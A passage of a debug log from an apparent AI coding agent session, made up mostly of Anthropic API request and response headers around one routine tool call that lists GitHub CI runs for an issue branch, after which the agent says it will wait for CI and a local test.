    \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:17.320Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:17.322Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:17.324Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:17.326Z] [STDOUT]     \"cf-ray\": \"a4297869af535d90-FRA\",\n[2026-09-29T08:03:17.329Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:03:17.333Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:17.336Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:17.338Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:17.340Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:03:17 GMT\",\n[2026-09-29T08:03:17.344Z] [STDOUT]     \"request-id\": \"req_011CfXP7jExje1VWimWWSy66\",\n[2026-09-29T08:03:17.347Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:03:17.349Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:17.351Z] [STDOUT]     traceresponse: \"00-6a0a769aed904a837c81e901cc2900d4-9204f4fb9e2e362c-01\",\n[2026-09-29T08:03:17.355Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:17.358Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:03:17.360Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:17.362Z] [STDOUT]   },\n[2026-09-29T08:03:17.364Z] [STDOUT]   durationMs: 1145,\n[2026-09-29T08:03:17.366Z] [STDOUT] }\n[2026-09-29T08:03:17.368Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:03:17.371Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:03:17 GMT\",\n[2026-09-29T08:03:17.374Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:17.380Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:17.384Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:03:17.387Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:17.389Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:17.391Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:17.394Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:03:17.396Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:17.398Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:17.402Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:17.405Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:17.410Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:17.413Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.46\",\n[2026-09-29T08:03:17.415Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:17.418Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:17.420Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:17.423Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:17.427Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:17.430Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:17.433Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:17.437Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:17.442Z] [STDOUT]   \"request-id\": \"req_011CfXP7jExje1VWimWWSy66\",\n[2026-09-29T08:03:17.448Z] [STDOUT]   \"traceresponse\": \"00-6a0a769aed904a837c81e901cc2900d4-9204f4fb9e2e362c-01\",\n[2026-09-29T08:03:17.455Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:17.465Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:17.473Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:03:17.478Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:17.481Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:17.490Z] [STDOUT]   \"cf-ray\": \"a4297869af535d90-FRA\",\n[2026-09-29T08:03:17.494Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:03:17.503Z] [STDOUT] [log_ceb8d3] response parsed {\n[2026-09-29T08:03:17.511Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:17.513Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:17.516Z] [STDOUT]   body: X {\n[2026-09-29T08:03:17.521Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:03:17.525Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:03:17.529Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:03:17.534Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:03:17.538Z] [STDOUT]     },\n[2026-09-29T08:03:17.544Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:03:17.549Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:03:17.556Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:03:17.562Z] [STDOUT]   },\n[2026-09-29T08:03:17.569Z] [STDOUT]   durationMs: 1146,\n[2026-09-29T08:03:17.575Z] [STDOUT] }\n[2026-09-29T08:03:19.166Z] [INFO] {\n[2026-09-29T08:03:19.166Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:03:19.166Z] [INFO]   \"message\": {\n[2026-09-29T08:03:19.166Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:03:19.166Z] [INFO]     \"id\": \"msg_011CfXP7jhEpqKzW2DVX41hF\",\n[2026-09-29T08:03:19.166Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:03:19.166Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:03:19.166Z] [INFO]     \"content\": [\n[2026-09-29T08:03:19.166Z] [INFO]       {\n[2026-09-29T08:03:19.166Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:03:19.166Z] [INFO]         \"id\": \"toolu_01HyeMHWMaeYCbx8iWh1h8R5\",\n[2026-09-29T08:03:19.166Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:03:19.166Z] [INFO]         \"input\": {\n[2026-09-29T08:03:19.166Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; gh run list --repo G-Ivan-A/hybrid-Intelligence-lab --branch issue-646-497e337ac092 --limit 5 --json databaseId,conclusion,status,createdAt,headSha,name; cat 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\"cache_read_input_tokens\": 90153,\n[2026-09-29T08:03:19.166Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:19.166Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:03:19.166Z] [INFO]         \"ephemeral_1h_input_tokens\": 477\n[2026-09-29T08:03:19.166Z] [INFO]       },\n[2026-09-29T08:03:19.166Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T08:03:19.166Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:03:19.166Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:03:19.166Z] [INFO]     },\n[2026-09-29T08:03:19.166Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:03:19.166Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:03:19.166Z] [INFO]     \"context_management\": null\n[2026-09-29T08:03:19.166Z] [INFO]   },\n[2026-09-29T08:03:19.166Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:19.166Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:19.166Z] [INFO]   \"uuid\": \"2e1be437-a334-4caf-bf45-d5679916ab84\",\n[2026-09-29T08:03:19.166Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:19.156Z\",\n[2026-09-29T08:03:19.166Z] [INFO]   \"request_id\": \"req_011CfXP7jExje1VWimWWSy66\",\n[2026-09-29T08:03:19.166Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T08:03:19.166Z] [INFO]     \"toolu_01HyeMHWMaeYCbx8iWh1h8R5\": {\n[2026-09-29T08:03:19.166Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; gh run list --repo G-Ivan-A/hybrid-Intelligence-lab --branch issue-646-497e337ac092 --limit 5 --json databaseId,conclusion,status,createdAt,headSha,name; cat /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bciyyo5i9.output | tail -3\",\n[2026-09-29T08:03:19.166Z] [INFO]       \"description\": \"List CI runs for the branch\"\n[2026-09-29T08:03:19.166Z] [INFO]     }\n[2026-09-29T08:03:19.166Z] [INFO]   }\n[2026-09-29T08:03:19.166Z] [INFO] }\n[2026-09-29T08:03:21.279Z] [INFO] {\n[2026-09-29T08:03:21.279Z] [INFO]   \"type\": \"user\",\n[2026-09-29T08:03:21.279Z] [INFO]   \"message\": {\n[2026-09-29T08:03:21.279Z] [INFO]     \"role\": \"user\",\n[2026-09-29T08:03:21.279Z] [INFO]     \"content\": [\n[2026-09-29T08:03:21.279Z] [INFO]       {\n[2026-09-29T08:03:21.279Z] [INFO]         \"tool_use_id\": \"toolu_01HyeMHWMaeYCbx8iWh1h8R5\",\n[2026-09-29T08:03:21.279Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:03:21.279Z] [INFO]         \"content\": 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[INFO]         \"is_error\": false\n[2026-09-29T08:03:21.279Z] [INFO]       }\n[2026-09-29T08:03:21.279Z] [INFO]     ]\n[2026-09-29T08:03:21.279Z] [INFO]   },\n[2026-09-29T08:03:21.279Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:21.279Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:21.279Z] [INFO]   \"uuid\": \"9665f873-4965-4bb9-a636-2d476eb03929\",\n[2026-09-29T08:03:21.279Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:21.274Z\",\n[2026-09-29T08:03:21.279Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:03:21.279Z] [INFO]     \"stdout\": \"[{\\\"conclusion\\\":\\\"\\\",\\\"createdAt\\\":\\\"2026-09-29T08:02:23Z\\\",\\\"databaseId\\\":36540232170,\\\"headSha\\\":\\\"9fd0ba0e1b332f43e2ad9f360ddde17972266b61\\\",\\\"name\\\":\\\"validate\\\",\\\"status\\\":\\\"in_progress\\\"},{\\\"conclusion\\\":\\\"\\\",\\\"createdAt\\\":\\\"2026-09-29T08:02:20Z\\\",\\\"databaseId\\\":36540227890,\\\"headSha\\\":\\\"9fd0ba0e1b332f43e2ad9f360ddde17972266b61\\\",\\\"name\\\":\\\"validate\\\",\\\"status\\\":\\\"in_progress\\\"},{\\\"conclusion\\\":\\\"success\\\",\\\"createdAt\\\":\\\"2026-09-29T07:43:15Z\\\",\\\"databaseId\\\":36538316955,\\\"headSha\\\":\\\"611336aa85daea757b56bcbe7dbb14fdd0356d9f\\\",\\\"name\\\":\\\"validate\\\",\\\"status\\\":\\\"completed\\\"},{\\\"conclusion\\\":\\\"success\\\",\\\"createdAt\\\":\\\"2026-09-29T07:43:05Z\\\",\\\"databaseId\\\":36538300813,\\\"headSha\\\":\\\"611336aa85daea757b56bcbe7dbb14fdd0356d9f\\\",\\\"name\\\":\\\"validate\\\",\\\"status\\\":\\\"completed\\\"}]\\nPyYAML==6.0.3\\njsonschema==4.26.0\",\n[2026-09-29T08:03:21.279Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:03:21.279Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:03:21.279Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:03:21.279Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T08:03:21.279Z] [INFO]   }\n[2026-09-29T08:03:21.279Z] [INFO] }\n[2026-09-29T08:03:21.331Z] [STDOUT] [log_ae7d73] sending request {\n[2026-09-29T08:03:21.336Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:03:21.342Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:21.348Z] [STDOUT]   options: {\n[2026-09-29T08:03:21.355Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:03:21.359Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:03:21.363Z] [STDOUT]     body: {\n[2026-09-29T08:03:21.366Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:03:21.368Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:03:21.372Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:03:21.376Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:03:21.380Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:03:21.383Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:03:21.385Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:03:21.387Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:03:21.392Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:03:21.395Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:03:21.399Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:03:21.403Z] [STDOUT]       stream: true,\n[2026-09-29T08:03:21.406Z] [STDOUT]     },\n[2026-09-29T08:03:21.409Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:03:21.416Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:03:21.424Z] [STDOUT]       aborted: false,\n[2026-09-29T08:03:21.427Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:03:21.430Z] [STDOUT]       onabort: null,\n[2026-09-29T08:03:21.432Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:03:21.434Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:03:21.440Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:03:21.442Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:03:21.445Z] [STDOUT]     },\n[2026-09-29T08:03:21.448Z] [STDOUT]     stream: true,\n[2026-09-29T08:03:21.451Z] [STDOUT]   },\n[2026-09-29T08:03:21.453Z] [STDOUT]   headers: {\n[2026-09-29T08:03:21.457Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:03:21.461Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:03:21.466Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:03:21.480Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:03:21.482Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:03:21.486Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:03:21.489Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:03:21.491Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:03:21.497Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:03:21.502Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2078\",\n[2026-09-29T08:03:21.505Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:03:21.509Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:03:21.514Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:21.519Z] [STDOUT]     \"x-client-request-id\": \"6282cb55-3bd0-4ad8-9b13-abbdcac1e027\",\n[2026-09-29T08:03:21.523Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:03:21.527Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:03:21.532Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:03:21.535Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:03:21.538Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:03:21.540Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:03:21.544Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:03:21.550Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:03:21.555Z] [STDOUT]   },\n[2026-09-29T08:03:21.563Z] [STDOUT] }\n[2026-09-29T08:03:22.433Z] [STDOUT] [log_ae7d73, request-id: \"req_011CfXP87dMGdLHDgzdqPwwP\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1101ms\n[2026-09-29T08:03:22.436Z] [STDOUT] [log_ae7d73] response start {\n[2026-09-29T08:03:22.440Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:22.445Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:22.452Z] [STDOUT]   headers: {\n[2026-09-29T08:03:22.455Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:22.458Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:22.462Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:22.466Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.46\",\n[2026-09-29T08:03:22.471Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:22.476Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:22.481Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:22.489Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:22.496Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:22.500Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:22.507Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:22.511Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:22.515Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:22.520Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:22.526Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:22.531Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:22.537Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:22.540Z] [STDOUT]     \"cf-ray\": \"a429788a5e145d90-FRA\",\n[2026-09-29T08:03:22.548Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:03:22.554Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:22.562Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:22.566Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:22.569Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:03:22 GMT\",\n[2026-09-29T08:03:22.571Z] [STDOUT]     \"request-id\": \"req_011CfXP87dMGdLHDgzdqPwwP\",\n[2026-09-29T08:03:22.575Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:03:22.581Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:22.584Z] [STDOUT]     traceresponse: \"00-07307e5068b6087b94a538599f896b0b-2b90eb6872d5120c-01\",\n[2026-09-29T08:03:22.587Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:22.591Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:03:22.594Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:22.598Z] [STDOUT]   },\n[2026-09-29T08:03:22.601Z] [STDOUT]   durationMs: 1101,\n[2026-09-29T08:03:22.604Z] [STDOUT] }\n[2026-09-29T08:03:22.610Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:03:22.616Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:03:22 GMT\",\n[2026-09-29T08:03:22.620Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:22.623Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:22.626Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:03:22.630Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:22.635Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:22.640Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:22.646Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:03:22.651Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:22.653Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:22.656Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:22.658Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:22.664Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:22.672Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.46\",\n[2026-09-29T08:03:22.681Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:22.689Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:22.697Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:22.700Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:22.704Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:22.708Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:22.713Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:22.718Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:22.721Z] [STDOUT]   \"request-id\": \"req_011CfXP87dMGdLHDgzdqPwwP\",\n[2026-09-29T08:03:22.734Z] [STDOUT]   \"traceresponse\": \"00-07307e5068b6087b94a538599f896b0b-2b90eb6872d5120c-01\",\n[2026-09-29T08:03:22.753Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:22.765Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:22.771Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:03:22.774Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:22.780Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:22.783Z] [STDOUT]   \"cf-ray\": \"a429788a5e145d90-FRA\",\n[2026-09-29T08:03:22.788Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:03:22.794Z] [STDOUT] [log_ae7d73] response parsed {\n[2026-09-29T08:03:22.798Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:22.806Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:22.809Z] [STDOUT]   body: X {\n[2026-09-29T08:03:22.815Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:03:22.822Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:03:22.830Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:03:22.838Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:03:22.844Z] [STDOUT]     },\n[2026-09-29T08:03:22.855Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:03:22.860Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:03:22.865Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:03:22.868Z] [STDOUT]   },\n[2026-09-29T08:03:22.871Z] [STDOUT]   durationMs: 1102,\n[2026-09-29T08:03:22.878Z] [STDOUT] }\n[2026-09-29T08:03:22.884Z] [INFO] {\n[2026-09-29T08:03:22.884Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:03:22.884Z] [INFO]   \"message\": {\n[2026-09-29T08:03:22.884Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:03:22.884Z] [INFO]     \"id\": \"msg_011CfXP8849z3Ne1reLowsx3\",\n[2026-09-29T08:03:22.884Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:03:22.884Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:03:22.884Z] [INFO]     \"content\": [\n[2026-09-29T08:03:22.884Z] [INFO]       {\n[2026-09-29T08:03:22.884Z] [INFO]         \"type\": \"text\",\n[2026-09-29T08:03:22.884Z] [INFO]         \"text\": \"CI is running on commit 9fd0ba0. I'll wait for both the CI runs and the local test.\"\n[2026-09-29T08:03:22.884Z] [INFO]       }\n[2026-09-29T08:03:22.884Z] [INFO]     ],\n[2026-09-29T08:03:22.884Z] [INFO]     \"container\": null,\n[2026-09-29T08:03:22.884Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:03:22.884Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:03:22.884Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:03:22.884Z] [INFO]     \"usage\": {\n[2026-09-29T08:03:22.884Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:03:22.884Z] [INFO]       \"cache_creation_input_tokens\": 663,\n[2026-09-29T08:03:22.884Z] [INFO]       \"cache_read_input_tokens\": 90630,\n[2026-09-29T08:03:22.884Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:22.884Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:03:22.884Z] [INFO]         \"ephemeral_1h_input_tokens\": 663\n[2026-09-29T08:03:22.884Z] [INFO]       },\n[2026-09-29T08:03:22.884Z] [INFO]       \"output_tokens\": 56,\n[2026-09-29T08:03:22.884Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:03:22.884Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:03:22.884Z] [INFO]     },\n[2026-09-29T08:03:22.884Z] 